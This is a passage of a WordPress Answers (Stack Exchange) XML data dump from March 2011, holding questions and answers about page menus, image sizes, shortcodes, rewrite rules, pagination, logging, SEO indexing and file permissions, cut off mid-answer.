  <row Id="10905" PostTypeId="1" CreationDate="2011-03-02T12:49:04.753" Score="0" ViewCount="273" Body="&lt;p&gt;I am trying to create a menu for my site using &lt;code&gt;wp_list_pages()&lt;/code&gt;, using a custom field to denote menu items, the problem is that all menu items are being displayed in order, except two, that keep ending up at the bottom of the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I investigated further I found that all of the pages that show correctly are top level pages, and the other two are child pages of other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'echo'          =&amp;gt; 0,&#xA;    'sort_column'   =&amp;gt; 'menu_order',&#xA;    'meta_key'      =&amp;gt; 'main_page',&#xA;    'meta_value'    =&amp;gt; 'true',&#xA;    'title_li'      =&amp;gt; __('')&#xA;); ?&amp;gt; &#xA;&#xA;wp_list_pages( $args ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-03-02T12:49:04.753" Title="wp_list_pages, order by menu_order not working" Tags="&lt;custom-menus&gt;" CommentCount="1" />
  <row Id="10906" PostTypeId="1" AcceptedAnswerId="10920" CreationDate="2011-03-02T12:51:35.263" Score="0" ViewCount="118" Body="&lt;p&gt;when uploading an image into the mediapool, wordpress will auto-resize it in several dimensions. &#xA;unfortunately i'm requiring a special format which is kinda between thumbnail + medium.&#xA;any ideas if it's possible to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-02T15:05:09.600" Title="custom image dimensions (for gallery)" Tags="&lt;image-size&gt;" AnswerCount="1" />
  <row Id="10907" PostTypeId="1" CreationDate="2011-03-02T12:52:12.033" Score="0" ViewCount="86" Body="&lt;p&gt;If there is a network (multisite installation) with 10 sites inside.  Is there a clean way to separate that site to its own site in a different server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How?&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2011-03-02T15:20:19.577" Title="Is there a way to separate a site inside a network (multisite) into its own wp site?" Tags="&lt;multisite&gt;&lt;network&gt;&lt;mobile&gt;" AnswerCount="2" />
  <row Id="10908" PostTypeId="1" AcceptedAnswerId="10923" CreationDate="2011-03-02T12:58:11.267" Score="0" ViewCount="55" Body="&lt;p&gt;OK, I've had a problem with echoes in my last shortcodem, but everything works fine now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have another one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myWidget_shortcode( $atts ) {&#xA;        extract( shortcode_atts( array(&#xA;        'title' =&amp;gt; 'My Widget',&#xA;        'value' =&amp;gt; '5',&#xA;        ), $atts ) );&#xA;&#xA;        return the_widget(myWidget,'title='.$title.'&amp;amp;value='.$value);&#xA;}&#xA;&#xA;add_shortcode('myWidget', 'myWidget_shortcode'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you tell me wy this shortcode always displays first on pages? There's no echo etc., all the data is being returned...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[found the answer - edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This resolves the problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();    &#xA;the_widget(popularPosts,'title='.$title.'&amp;amp;number='.$number);&#xA;return ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyways I don't understand why it's always first in this case. Because the_widget is a function itself and echoes something? :&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-02T15:31:43.363" Title="Shortcode displays always first. Once again" Tags="&lt;widgets&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="10909" PostTypeId="2" ParentId="10895" CreationDate="2011-03-02T13:02:52.763" Score="0" ViewCount="" Body="&lt;p&gt;Not really sure what you're aiming to do, but maybe..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function themeperauthor_need_switch() {&#xA;    global $post&#xA;    //, $current_user;&#xA;    if( !isset( $post-&amp;gt;post_type ) )&#xA;        return '';&#xA;    if ( $post-&amp;gt;post_type == 'weblogs' )&#xA;        return get_the_author_meta( 'themeperauthor', &#xA;            $post-&amp;gt;post_author&#xA;            //$current_user-&amp;gt;ID&#xA;        );&#xA;    return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assumed you want to get meta based on post author, but can be switched for the current user if that's actually what you want(left alternate lines in the code, but commented out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If using &lt;code&gt;$current_user&lt;/code&gt;, you should check there's a user logged in first.. &lt;code&gt;if( is_user_logged_in() )&lt;/code&gt; or similar..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-02T13:02:52.763" />
  <row Id="10910" PostTypeId="2" ParentId="10857" CreationDate="2011-03-02T13:30:29.753" Score="1" ViewCount="" Body="&lt;p&gt;It's not possible to use the same permalink for different pages, but Wordpress won't give you a error message detailing this when editing a permalink. It just silently fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be the case here? Confusing; pages in 'Trash' still count...&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditorDisplayName="" LastEditDate="2011-03-02T16:20:44.937" LastActivityDate="2011-03-02T16:20:44.937" CommentCount="1" />
  <row Id="10914" PostTypeId="2" ParentId="10900" CreationDate="2011-03-02T13:43:48.703" Score="1" ViewCount="" Body="&lt;p&gt;First, your additional line comes too late. The rule before catches everything you want to match.&#xA;Second, it doesn’t what you want. Your …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule  /([0-9]+/?)$  /about/latest-news/$1     [NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… matches requests like &lt;code&gt;example.com//0000000000000000000/&lt;/code&gt; or &lt;code&gt;example.com/about/latest-news/2010/&lt;/code&gt; (infinite loop!).&#xA;The first argument for &lt;code&gt;RewriteRule&lt;/code&gt; omits the starting &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To match year archives you need rather:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule  ^(\d\d\d\d)/?$  /about/latest-news/$1     [NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’m not sure if you really need mod_rewrite for that. Try the following line above the rewrite block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch Permanent ^/(\d\d\d\d)/?$ /about/latest-news/$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to tell WordPress about your custom archive &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/permalinks&quot;&gt;permalinks&lt;/a&gt;. You should find enough good examples under the tag.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-02T14:03:33.977" LastActivityDate="2011-03-02T14:03:33.977" CommentCount="1" />
  <row Id="10916" PostTypeId="1" CreationDate="2011-03-02T14:08:56.483" Score="0" ViewCount="182" Body="&lt;p&gt;I have a similar problem with this ( &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9593/custom-post-type-archive-with-pagination&quot;&gt;Custom post type archive with pagination?&lt;/a&gt; ) and can't really figure out what to do !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type name 'gallery' and I have created a template to show all 'gallery' items. The url is www.domain.com/gallery. I use WP_Pagenavi plugin. Whenever I try to go to page 2 or higher, the url becomes www.domain.com/gallery/page/2 and it returns a 404 page. I read everywhere about it and I guess it has something to do with rewrite rules, the query and whatever else!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule( 'gallery/page/([0-9]+)/?$', 'index.php?pagename=gallery&amp;amp;paged=$matches[1]', 'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is that I don't want to change my permalinks structure which now is /%postname%/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my full code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;&#xA;        $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;        $args = array(&#xA;            'post_type' =&amp;gt; 'gallery',&#xA;            'paged' =&amp;gt; $paged,&#xA;            'showposts' =&amp;gt;24&#xA;            ); query_posts($args);&#xA;&#xA;        if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&#xA;                ...stuff here...&#xA;&#xA;                &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php &#xA;            wp_pagenavi( );&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is my functions.php code for the gallery&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', gallery);&#xA;function gallery() {&#xA;$args = array(&#xA;        'label' =&amp;gt; __('Gallery'),&#xA;        'singular_label' =&amp;gt; __(Gallery),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'custom-fields')        &#xA;);&#xA;&#xA;register_post_type( 'gallery' , $args );&#xA;add_rewrite_rule( 'gallery/page/([0-9]+)/?$', 'index.php?pagename=gallery&amp;amp;paged=$matches[1]', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am pulling my hair with this (grrrrr).&#xA;Thank you in advance !&lt;/p&gt;&#xA;" OwnerUserId="3639" LastActivityDate="2011-03-02T14:08:56.483" Title="Pagenavi Plugin and Custom Post Type Navigation Error (404)" Tags="&lt;posts&gt;&lt;customization&gt;" />
  <row Id="10917" PostTypeId="1" AcceptedAnswerId="11092" CreationDate="2011-03-02T14:25:16.843" Score="0" ViewCount="208" Body="&lt;p&gt;Let's assume I have a widget that displays only its name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p&amp;gt;&#xA;         &amp;lt;?php echo $args['widget_id'] ?&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when I drag &amp;amp; drop my widget to any sidebar it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;     myWidget-number&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is I want to call this widget with a shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    (...)&#xA;            ob_start();    &#xA;            the_widget(MyWidget);&#xA;            return ob_get_clean();&#xA;   }&#xA;&#xA;    add_shortcode('myWidget_short', 'myWidget_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when i do [myWidget_short] it shows only &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to call widget's ID with a shortcode?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-05-26T21:52:29.950" Title="the_widget() and widget's ID" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;shortcode&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10918" PostTypeId="2" ParentId="10907" CreationDate="2011-03-02T14:47:33.600" Score="1" ViewCount="" Body="&lt;p&gt;We might need more details, but I'm going to assume that you are using subdomains, and that you want to retain the site's subdomain name on the new server. If that's the case, then all you should need to do is export the site, then import it on the new server. Then set up a new DNS 'A' record to point that specific site name to the new server's IP number. This should override the wildcard DNS domain pointer that multisite normally uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your DNS setup, you should wind up with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; DNS for example.com&#xA;*        A    111.111.111.111 ; multisite wildcard entry&#xA;foo      A    222.222.222.222 ; foo.example.com is on the new server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what else you've got going on, it might be more complicated. For example, you might have to search-and-replace in the .wxr export file to fix file paths for image uploads and such.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-02T14:47:33.600" CommentCount="2" />
  <row Id="10919" PostTypeId="1" AcceptedAnswerId="10921" CreationDate="2011-03-02T14:52:36.283" Score="0" ViewCount="79" Body="&lt;p&gt;How can I reset all variables in order to get the actual page content?&#xA;I keep getting the last post's content I've called from a news-box I've implemented - but need the actual page's content ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-03-02T18:27:57.023" LastActivityDate="2011-03-02T18:27:57.023" Title="Page displays content from different query?" Tags="&lt;page&gt;&lt;wp-query&gt;&lt;query&gt;&lt;get-posts&gt;&lt;content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10920" PostTypeId="2" ParentId="10906" CreationDate="2011-03-02T15:05:09.600" Score="4" ViewCount="" Body="&lt;p&gt;You can call add_image_size in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'medium', 240, 160, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_image_size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2011-03-02T15:05:09.600" CommentCount="1" />
  <row Id="10921" PostTypeId="2" ParentId="10919" CreationDate="2011-03-02T15:11:08.707" Score="1" ViewCount="" Body="&lt;p&gt;Sounds like your news-box isn't using clean methods for pulling posts. I'm guessing that you are not using the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts()&lt;/a&gt; function. You're probably creating a new &lt;code&gt;WP_Query&lt;/code&gt; object from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using &lt;code&gt;get_posts()&lt;/code&gt;, as it will take care of keeping the original page query clean for you.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-02T15:11:08.707" />
  <row Id="10922" PostTypeId="2" ParentId="10907" CreationDate="2011-03-02T15:20:19.577" Score="0" ViewCount="" Body="&lt;p&gt;The Tools -&gt; Export button in the backend of the sub site.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-02T15:20:19.577" />
  <row Id="10923" PostTypeId="2" ParentId="10908" CreationDate="2011-03-02T15:31:43.363" Score="2" ViewCount="" Body="&lt;p&gt;Yes, look at the &lt;code&gt;widget()&lt;/code&gt; method in your &lt;code&gt;MyWidget&lt;/code&gt; class. Does it echo? Most likely it does, because that's how widgets are normally written. In fact, I'd be surprised to see a widget that didn't echo output in its &lt;code&gt;widget()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when you call &lt;code&gt;the_widget()&lt;/code&gt;, it fetches an instance of the widget you ask for, and calls &lt;code&gt;$widget_obj-&amp;gt;widget($args, $instance);&lt;/code&gt;. So it echos, and doesn't return anything.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-02T15:31:43.363" />
  <row Id="10925" PostTypeId="2" ParentId="1242" CreationDate="2011-03-02T16:13:35.950" Score="3" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use a file&lt;/strong&gt; to write the events to. There are several drawbacks here; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Filesystem permissions&lt;/em&gt;. When you deploy your app, you will have to take care to remember to give the webserver permission to write to the file. And to be extra sure, you'd have to write code which checks whether you can write to the file and issue a warning when you can't. This adds complexity and is likely a cause for deployment issues.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Accidental deletion&lt;/em&gt;. You could accidentally delete the custom logfile and loose your records. This might be inconvenient. &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Custom logformat&lt;/em&gt;. You'd have to come up with a custom (machine readable?) text format to write the events to your file. When you have to change the log format, there's no convenient way to migrate old records. When you want to do some kind of analysis on the logs, you'd have to parse the records. This leads to more code and more complexity. Complexity is bad. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use a database table&lt;/strong&gt;. Create your own database table and log the events there. None of the drawbacks listed above apply. It doesn't add a lot of complexity. Automate the creation and deletion of the table using a plugin hook and you have a reasonably reliable log system I think. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Send an e-mail&lt;/strong&gt;. Depending on the relevance of the logs, you could always opt for this method. I figure you'd probably want to send an e-mail in case of a failure anyway.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use the OS logger&lt;/strong&gt;. When you use the &lt;a href=&quot;http://nl.php.net/syslog&quot; rel=&quot;nofollow&quot;&gt;syslog&lt;/a&gt; function in PHP, you can write events to the system logger (syslog on Unix, Event Log on Windows NT). Configuring a user defined syslog complicates deployment. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally; you should consider if you want to log the normal case &lt;em&gt;and&lt;/em&gt; exceptions, or only exceptions. Jeff Atwood did a good &lt;a href=&quot;http://www.codinghorror.com/blog/2008/12/the-problem-with-logging.html&quot; rel=&quot;nofollow&quot;&gt;writeup&lt;/a&gt; about this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditorDisplayName="" LastEditDate="2011-03-02T19:27:45.263" LastActivityDate="2011-03-02T19:27:45.263" CommentCount="4" />
  <row Id="10926" PostTypeId="1" CreationDate="2011-03-02T16:27:50.247" Score="0" ViewCount="98" Body="&lt;p&gt;when uploading images into the mediapool, i saw that wordpress is creating versions in 900x200 pixels.&#xA;i'd like to use those for building a gallery, i've used this method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = wp_get_attachment_image_src(get_post_thumbnail_id(), $size);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unfortunately i can't get those special images with the default size-parameters (thumbnail, medium, large ..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea how to achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-02T16:27:50.247" Title="retrieving images with dimension 900x200" Tags="&lt;images&gt;" CommentCount="3" />
  <row Id="10927" PostTypeId="1" CreationDate="2011-03-02T16:59:55.940" Score="0" ViewCount="41" Body="&lt;p&gt;i'd like to make a fading gallery with header images in format 900x150 pixels,&#xA;so i've added the following tag to my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;add_image_size( &quot;my-header&quot;, 890, 152,&#xA;  true );&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it works like a charm but there's a little problem:&#xA;i can't define the cropping area, so most of the header images are not useable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when using settings-&gt;header, there is a cropping feature but it's only for ONE header image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone know if there's somekind of mixture of both features, like re-edit my customized 890x152 with cropping or a plugin?&#xA;i'd like to use post images in order to link my posts to the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-02T16:59:55.940" Title="header images + cropping" Tags="&lt;posts&gt;&lt;image&gt;&lt;headers&gt;" CommentCount="1" />
  <row Id="10928" PostTypeId="2" ParentId="10458" CreationDate="2011-03-02T16:59:59.357" Score="0" ViewCount="" Body="&lt;p&gt;There is a plugin, it's called &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/&quot; rel=&quot;nofollow&quot;&gt;Vote It Up&lt;/a&gt;.  It's really old and isn't maintained but it works decently. I haven't had to use it on any sites newer than WP 2.8 so I don't know how well it does with WP  3.x &lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-03-02T16:59:59.357" />
  <row Id="10929" PostTypeId="1" CreationDate="2011-03-02T17:19:20.300" Score="1" ViewCount="69" Body="&lt;p&gt;my blog is 6 months old, with frequently updated content. Yet, not a single page is indexed by Google. Why is that so? isn't wordpress set up for SEO by default?&lt;/p&gt;&#xA;" OwnerUserId="3641" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-02T18:04:20.777" LastActivityDate="2011-03-02T18:22:32.330" Title="Blog not indexed" Tags="&lt;seo&gt;&lt;blog&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="10930" PostTypeId="1" CreationDate="2011-03-02T17:25:59.703" Score="2" ViewCount="158" Body="&lt;p&gt;Here's the scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my plugin, I want to have a metabox show up on the post / page editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the metabox to be -exactly- like WordPress' 'Custom Fields' metabox, ( Add another, delete, update, auto-populated dropdown, Enter new link, AJAX magic, etc ); with a couple minor differences:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of just 'Name' and 'Value', I want 'Target', 'Name' and 'Value'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of saving them all as 'public' custom fields that automatically appear inside the WP Custom Fields metabox, I want them all stored as a single multidimensional array inside a 'private', namespaced, field...i.e., &lt;code&gt;_myplugin_custom_fields = array( 1 =&amp;gt; array( 'target' =&amp;gt; 'mytarget1', 'name' =&amp;gt; 'myname1', 'value' =&amp;gt; 'myvalue1' ), 2 =&amp;gt; array( 'target' =&amp;gt; 'mytarget2', 'name' =&amp;gt; 'myname2', 'value' =&amp;gt; 'myvalue2' ) )&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've spent all day digging through the tangled web of WP Core, and have not been able to find a straightforward way to pull this off. If I move forward based on my current understanding, I'll end up duplicating hundreds of lines of core code from numerous php and js files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone here in WordPress Answers-land help point me in the right direction? I have plenty of experience in adding and leveraging metaboxes within themes and plugins, but this one has me totally stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please speak up if I'm being unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to all who reply!&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2011-07-01T11:38:23.897" Title="How can I avoid re-inventing the Custom Fields wheel in my Plugin's Metabox?" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="3" />
  <row Id="10931" PostTypeId="2" ParentId="10929" CreationDate="2011-03-02T17:39:11.020" Score="0" ViewCount="" Body="&lt;p&gt;Check under Settings/Privacy. Is the site marked as private by accident? It's happened to me.&#xA;I'd also suggest installing the Google XML sitemaps plugin which will update your sitemap as well as ping relevant services when content is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably also worth checking your robots.txt file to see if you're excluding the whole site for some reason.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-02T17:39:11.020" CommentCount="2" />
  <row Id="10932" PostTypeId="2" ParentId="10929" CreationDate="2011-03-02T17:39:28.453" Score="1" ViewCount="" Body="&lt;p&gt;I have to ask the obvious here; have you changed your privacy settings to allow the blog to be accessible by search engines.  Blogs in general and WordPress blogs are typically well crawled by Google and the other search engines.  If you have already made the blog visible, you may want to create a sitemap and submit it to the search engines.  You can use the plugin Google XML Sitemap to create the sitemap with almost no configuration.  The plugin is available here &lt;a href=&quot;http://wordpress.org/extend/plugins/google-sitemap-generator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-sitemap-generator/&lt;/a&gt;.  Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-02T17:39:28.453" CommentCount="1" />
  <row Id="10933" PostTypeId="2" ParentId="97" CreationDate="2011-03-02T18:09:19.620" Score="2" ViewCount="" Body="&lt;p&gt;As @Viper007Bond noted, updating your core, plugins, and themes via the built-in update mechanisms is pretty safe, as far as file-permissions go, because they can use your actual user credentials. For maximum safety, you want to make sure that you have the &lt;a href=&quot;http://www.php.net/manual/en/book.ssh2.php&quot; rel=&quot;nofollow&quot;&gt;SSH2 PHP extension&lt;/a&gt; installed. The method of installation (if possible) can vary from host-to-host, so if it's not already there, you might need to ask the hosting service, or do some Googling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many shared hosting services will use &lt;code&gt;suexec&lt;/code&gt; in their Apache setup, so that the web service runs as the actual user. This eliminates most permission problems and helps protect your files from other users on the server. However, in cases where Apache runs as a separate user, if you want to upload files into WordPress, you have to open up permissions on the upload directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you probably want your &lt;code&gt;wp-content/uploads&lt;/code&gt; directory to have &lt;code&gt;0713&lt;/code&gt; permissions, (AKA &lt;code&gt;rwx--x-wx&lt;/code&gt;). This gives the directory owner full permissions, their group can read files &lt;em&gt;if&lt;/em&gt; they know the full path, and others (including the web server) can read files to which they know the path and can create/write files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some caching plugins also expect to have a &lt;code&gt;wp-content/cache&lt;/code&gt; directory (or similar) available that they can write to. The same permissions advice would apply to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, for pretty permalinks, WordPress needs to be able to modify the &lt;code&gt;.htaccess&lt;/code&gt; file, unless you plan to update it manually. In this case, you'd want &lt;code&gt;0646&lt;/code&gt; for the file mode. However, once you've settled on your permalink structure, you normally won't need to change this again, so you could turn off the extra write permissions, and set it to &lt;code&gt;0644&lt;/code&gt;. Occassionally, a plugin or core upgrade might require access to it, and you could temporarily turn write permissions back on for that, then turn it back off again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other files should have &lt;code&gt;0644&lt;/code&gt; permissions. Directories should be &lt;code&gt;0711&lt;/code&gt; if you're extra-paranoid, but that could interfere with any plugins that need to get a list of files from a directory. In that case, or if you aren't quite as paranoid, use &lt;code&gt;0755&lt;/code&gt;, which will allow others to read, but not write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of this is mainly a concern if you are on shared hosting. If you have a dedicated server (including VPS), with no other users that have ssh/ftp access, then you can relax a little more. I don't mean that you should just make everything openly writable, but you can probably just trust the system defaults, which will probably be &lt;code&gt;0755&lt;/code&gt; permissions on directories instead of &lt;code&gt;0711&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is an option, get an SSL certificate installed for the site, and once you've tested that you can access your site via &lt;code&gt;https&lt;/code&gt;, you can force SSL for admin logins and access by adding these lines to your &lt;code&gt;wp-config.php&lt;/code&gt; file, just before the 'Stop editing' comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FORCE_SSL_ADMIN', true);&#xA;define('FORCE_SSL_LOGIN', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-02T18:09:19.620" />
  <row Id="10934" PostTypeId="2" ParentId="10891" CreationDate="2011-03-02T18:17:52.243" Score="1" ViewCount="" Body="&lt;p&gt;I'd suggest adding something like this to the top of the theme file or wherever you want this content to appear in the archive, category or whatever..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check if it's a category or taxonomy archive&#xA;if( is_category() || is_tax() ) {&#xA;    // Grab the queried data, slug, tax, etc..&#xA;    $queried = $wp_query-&amp;gt;get_queried_object();&#xA;    // Check taxonomy and slug are set&#xA;    if( isset( $queried-&amp;gt;taxonomy ) &amp;amp;&amp;amp; isset( $queried-&amp;gt;slug ) ) {&#xA;        // Look for a landing page post type with a slug that matches the current queried slug&#xA;        $landing_page = get_posts( 'name=' . $queried-&amp;gt;slug . '&amp;amp;post_type=landing_page&amp;amp;posts_per_page=1&amp;amp;nopaging=1' );&#xA;        // If the result wasn't empty&#xA;        if( !empty( $landing_page ) ) {&#xA;            // Output the title and content using the same filters WP uses in the loop&#xA;            echo apply_filters( 